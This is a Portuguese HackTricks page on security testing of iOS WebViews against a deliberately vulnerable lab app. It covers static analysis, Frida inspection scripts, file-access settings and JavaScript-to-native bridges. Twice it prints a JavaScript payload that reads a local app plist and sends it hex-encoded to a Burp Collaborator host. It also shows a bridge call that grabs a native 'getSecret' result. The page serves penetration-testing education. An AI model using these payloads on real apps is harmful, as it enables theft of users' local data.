24 KiB
iOS WebViews
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Tipos de WebViews
WebViews são componentes de navegador dentro de aplicativos para exibir conteúdo web interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. iOS WebViews suportam execução de JavaScript por padrão, então injeção de scripts e ataques de Cross-Site Scripting podem afetá-los.
-
UIWebView: UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. JavaScript não pode ser desativado.
-
WKWebView: Esta é a escolha apropriada para estender a funcionalidade do aplicativo, controlando o conteúdo exibido.
-
JavaScript está habilitado por padrão, mas graças à propriedade
javaScriptEnabled
doWKWebView
, ele pode ser completamente desativado, prevenindo todos os defeitos de injeção de scripts. -
A propriedade
JavaScriptCanOpenWindowsAutomatically
pode ser usada para prevenir que JavaScript abra novas janelas, como pop-ups. -
A propriedade
hasOnlySecureContent
pode ser usada para verificar se os recursos carregados pelo WebView são obtidos através de conexões criptografadas. -
WKWebView
implementa renderização fora do processo, então bugs de corrupção de memória não afetarão o processo principal do aplicativo. -
SFSafariViewController: Deve ser usado para fornecer uma experiência de visualização web generalizada. Esses WebViews podem ser facilmente identificados pois têm um layout característico que inclui os seguintes elementos:
-
Um campo de endereço somente leitura com um indicador de segurança.
-
Um botão de Ação ("Compartilhar").
-
Um botão Concluído, botões de navegação para voltar e avançar, e um botão "Safari" para abrir a página diretamente no Safari.
- JavaScript não pode ser desativado no
SFSafariViewController
e esta é uma das razões pelas quais o uso deWKWebView
é recomendado quando o objetivo é estender a interface do usuário do aplicativo. SFSafariViewController
também compartilha cookies e outros dados de sites com o Safari.- A atividade e interação do usuário com um
SFSafariViewController
não são visíveis para o aplicativo, que não pode acessar dados de AutoFill, histórico de navegação ou dados de sites. - De acordo com as Diretrizes de Revisão da App Store,
SFSafariViewController
s não podem ser ocultados ou obscurecidos por outras visualizações ou camadas.
Descobrindo Configurações de WebViews
Análise Estática
UIWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
Alternativamente, você também pode procurar por métodos conhecidos dessas classes WebView. Por exemplo, procure pelo método usado para inicializar um WKWebView (init(frame:configuration:)
):
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
Testando Configuração de JavaScript
Para WKWebView
s, como uma melhor prática, JavaScript deve ser desativado a menos que seja explicitamente necessário. Para verificar se o JavaScript foi desativado corretamente, procure no projeto por usos de WKPreferences
e garanta que a propriedade javaScriptEnabled
esteja configurada como false
:
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
Se você tiver apenas o binário compilado, pode procurar isto nele:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
Testando OnlySecureContent
Em contraste com UIWebView
s, ao usar WKWebView
s é possível detectar conteúdo misto (conteúdo HTTP carregado de uma página HTTPS). Utilizando o método hasOnlySecureContent
pode-se verificar se todos os recursos na página foram carregados através de conexões seguras e criptografadas.
No binário compilado:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Você também pode procurar no código-fonte ou nas strings a string "http://". No entanto, isso não significa necessariamente que há um problema de conteúdo misto. Saiba mais sobre conteúdo misto nos MDN Web Docs.
Análise Dinâmica
É possível inspecionar o heap via ObjC.choose()
para encontrar instâncias dos diferentes tipos de WebViews e também procurar pelas propriedades javaScriptEnabled
e hasonlysecurecontent
:
{% code title="webviews_inspector.js" %}
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
Carregue-o com:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
hasOnlySecureContent: false
Manipulação de Protocolo WebView
Vários esquemas padrão estão disponíveis e são interpretados em um WebView no iOS, por exemplo:
- http(s)://
- file://
- tel://
WebViews podem carregar conteúdo remoto de um endpoint, mas também podem carregar conteúdo local do diretório de dados do aplicativo. Se o conteúdo local for carregado, o usuário não deve ser capaz de influenciar o nome do arquivo ou o caminho usado para carregar o arquivo, e os usuários não devem ser capazes de editar o arquivo carregado.
Carregamento de conteúdo WebView
- UIWebView: Pode usar métodos obsoletos
loadHTMLString:baseURL:
ouloadData:MIMEType:textEncodingName:baseURL:
para carregar conteúdo. - WKWebView: Pode usar os métodos
loadHTMLString:baseURL:
ouloadData:MIMEType:textEncodingName:baseURL:
para carregar arquivos HTML locais eloadRequest:
para conteúdo web. Tipicamente, os arquivos locais são carregados em combinação com métodos que incluem, entre outros:pathForResource:ofType:
,URLForResource:withExtension:
ouinit(contentsOf:encoding:)
. Além disso, você também deve verificar se o aplicativo está usando o métodoloadFileURL:allowingReadAccessToURL:
. Seu primeiro parâmetro éURL
e contém a URL a ser carregada no WebView, seu segundo parâmetroallowingReadAccessToURL
pode conter um único arquivo ou um diretório. Se contiver um único arquivo, esse arquivo estará disponível para o WebView. No entanto, se contiver um diretório, todos os arquivos nesse diretório estarão disponíveis para o WebView. Portanto, vale a pena inspecionar isso e, caso seja um diretório, verificar que nenhum dado sensível possa ser encontrado dentro dele.
Se você tem o código-fonte, pode procurar por esses métodos. Tendo o binário compilado, você também pode procurar por esses métodos:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Acesso a Arquivos
- UIWebView:
- O esquema
file://
está sempre ativado. - O acesso a arquivos a partir de URLs
file://
está sempre ativado. - O acesso universal a partir de URLs
file://
está sempre ativado. - Se você recuperar a origem efetiva de um
UIWebView
ondebaseURL
também está definido comonil
, você verá que não está definido como "null", em vez disso, você obterá algo semelhante ao seguinte:applewebdata://5361016c-f4a0-4305-816b-65411fc1d780
. Esta origem "applewebdata://" é semelhante à origem "file://" pois não implementa a Política de Mesma Origem e permite acesso a arquivos locais e quaisquer recursos da web.
{% tabs %} {% tab title="exfiltrate_file" %}
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
{% endtab %} {% endtabs %}
- WKWebView:
allowFileAccessFromFileURLs
(WKPreferences
,falso
por padrão): permite que o JavaScript executando no contexto de uma URL com esquemafile://
acesse conteúdo de outras URLs com esquemafile://
.allowUniversalAccessFromFileURLs
(WKWebViewConfiguration
,falso
por padrão): permite que o JavaScript executando no contexto de uma URL com esquemafile://
acesse conteúdo de qualquer origem.
Você pode procurar por essas funções no código-fonte do aplicativo ou no binário compilado.
Além disso, você pode usar o seguinte script frida para encontrar essa informação:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
frida -U -f com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: <WKWebView: 0x1508b1200; frame = (0 0; 320 393); layer = <CALayer: 0x1c4238f20>>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
Exfiltrar arquivos arbitrários
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
Métodos Nativos Expostos Através de WebViews
Desde o iOS 7, a Apple introduziu APIs que permitem comunicação entre o runtime do JavaScript no WebView e os objetos nativos Swift ou Objective-C.
Existem duas maneiras fundamentais de como o código nativo e o JavaScript podem se comunicar:
- JSContext: Quando um bloco Objective-C ou Swift é atribuído a um identificador em um
JSContext
, o JavaScriptCore automaticamente envolve o bloco em uma função JavaScript. - Protocolo JSExport: Propriedades, métodos de instância e métodos de classe declarados em um protocolo herdado de
JSExport
são mapeados para objetos JavaScript que estão disponíveis para todo o código JavaScript. Modificações de objetos que estão no ambiente JavaScript são refletidas no ambiente nativo.
Note que apenas membros de classe definidos no protocolo JSExport
são acessíveis ao código JavaScript.
Fique atento ao código que mapeia objetos nativos para o JSContext
associado a um WebView e analise que funcionalidades ele expõe, por exemplo, nenhum dado sensível deve ser acessível e exposto a WebViews.
Em Objective-C, o JSContext
associado a um UIWebView
é obtido da seguinte forma:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
O código JavaScript em um WKWebView
ainda pode enviar mensagens de volta para o aplicativo nativo, mas, ao contrário do UIWebView
, não é possível referenciar diretamente o JSContext
de um WKWebView
. Em vez disso, a comunicação é implementada usando um sistema de mensagens e utilizando a função postMessage
, que automaticamente serializa objetos JavaScript em objetos nativos Objective-C ou Swift. Os manipuladores de mensagens são configurados usando o método add(_ scriptMessageHandler:name:)
.
Habilitando JavascriptBridge
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Enviando Mensagem
Adicionar um manipulador de mensagens de script com o nome "name"
(ou "javaScriptBridge"
no exemplo acima) faz com que a função JavaScript window.webkit.messageHandlers.myJavaScriptMessageHandler.postMessage
seja definida em todos os frames em todas as web views que usam o controlador de conteúdo do usuário. Pode então ser usado a partir do arquivo HTML assim:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
//After testing the previos funtion I got the error TypeError: undefined is not an object (evaluating 'window.webkit.messageHandlers')
//But the following code worked to call the exposed javascriptbridge with the args "addNumbers", "1", "2"
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Uma vez que a função Nativa é executada, ela geralmente irá executar algum JavaScript dentro da página web (veja evaluateJavascript
abaixo), você pode estar interessado em substituir a função que será executada para roubar o resultado.
Por exemplo, no script abaixo, a função javascriptBridgeCallBack
será executada com 2 parâmetros (a função chamada e o resultado). Se você controla o HTML que será carregado, você pode criar um alerta com o resultado como:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
Função Chamada
A função chamada reside em JavaScriptBridgeMessageHandler.swift
:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
//...
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
//...
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
Testando
Para testar o envio de uma postMessage dentro de um aplicativo, você pode:
- Alterar a resposta do servidor (MitM)
- Realizar uma instrumentação dinâmica e injetar o payload JavaScript usando frameworks como Frida e as respectivas funções de avaliação JavaScript disponíveis para os iOS WebViews (
stringByEvaluatingJavaScriptFromString:
paraUIWebView
eevaluateJavaScript:completionHandler:
paraWKWebView
).
Depurando iOS WebViews
(Tutorial de https://blog.vuplex.com/debugging-webviews)
Nos webviews do iOS, mensagens enviadas para console.log()
não são impressas nos logs do Xcode. Ainda é relativamente fácil depurar conteúdo web com as ferramentas de desenvolvedor do Safari, embora existam algumas limitações:
- A depuração de webviews do iOS requer Safari, então seu computador de desenvolvimento deve estar executando macOS.
- Você só pode depurar webviews em aplicativos carregados em seu dispositivo através do Xcode. Não é possível depurar webviews em apps instalados pela App Store ou Apple Configurator.
Com essas limitações em mente, aqui estão os passos para depurar remotamente um webview no iOS:
- Primeiro, habilite o Safari Web Inspector no seu dispositivo iOS abrindo o aplicativo Configurações do iOS, navegando até Configurações > Safari > Avançado, e ativando a opção Web Inspector.
- Em seguida, você também deve habilitar as ferramentas de desenvolvedor no Safari em seu computador de desenvolvimento. Inicie o Safari em sua máquina de desenvolvimento e navegue até Safari > Preferências na barra de menus. No painel de preferências que aparece, clique na aba Avançado e depois habilite a opção Mostrar menu Desenvolvedor na parte inferior. Depois disso, você pode fechar o painel de preferências.
- Conecte seu dispositivo iOS ao seu computador de desenvolvimento e inicie seu aplicativo.
- No Safari em seu computador de desenvolvimento, clique em Desenvolvedor na barra de menus e passe o mouse sobre a opção dropdown que é o nome do seu dispositivo iOS para mostrar uma lista de instâncias de webview em execução no seu dispositivo iOS.
- Clique na opção dropdown para o webview que você deseja depurar. Isso abrirá uma nova janela do Safari Web Inspector para inspecionar o webview.
Referências
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o merchandising oficial do PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo 💬 Discord ou ao grupo telegram ou siga me no Twitter 🐦 @carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud no github.